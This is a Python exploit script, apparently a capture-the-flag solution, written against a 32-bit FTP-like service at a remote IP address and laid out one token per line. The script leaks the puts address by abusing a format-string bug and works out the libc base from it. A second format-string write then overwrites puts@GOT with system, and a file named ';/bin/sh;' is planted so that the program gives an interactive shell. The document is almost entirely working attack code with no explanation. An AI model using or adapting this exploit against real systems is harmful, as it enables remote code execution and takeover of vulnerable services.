from
MUC.ezpwn
import
*
p,pb,libc
=
init(log
=
"debug"
,arc
=
"i386"
,b
=
32
,r
=
"123.59.196.133:10027"
)
password
=
"rxraclhm"
p.sendlineafter(
"Name (ftp.hacker.server:Rainism):"
,password)
def
put(name,content):
p.sendafter(b
"ftp>"
,b
"put"
)
p.sendlineafter(b
"please enter the name of the file you want to upload:"
,name)
p.sendlineafter(b
"then, enter the content:"
,content)
def
get(name):
p.sendafter(b
"ftp>"
,b
"get"
)
p.sendlineafter(b
"enter the file name you want to get:"
,name)
def
dir
():
p.sendafter(b
"ftp>"
,b
"dir"
)
put(
";/bin/sh;\x00"
,b
"%8$s"
+
p32(pb.got[
"puts"
])
+
p32(
0
))
get(
";/bin/sh;\x00"
)
putsAddr
=
u32(p.recvuntil(b
"\xf7"
)[
-
4
:])
calcLibcBase(
"puts"
,putsAddr)
sysAddr
=
getFunc(
"system"
)
sH
=
(sysAddr >>
16
) &
0xFFFF
sL
=
sysAddr &
0xFFFF
payload
=
f
"%{sL}c%14$hn%{sH-sL}c%15$hn"
.ljust(
28
,
"A"
)
payload
=
payload.encode()
+
p32(pb.got[
"puts"
])
+
p32(pb.got[
"puts"
]
+
2
)
put(
"pwn"
,payload)
get(
"pwn"
)
dir
()
p.interactive()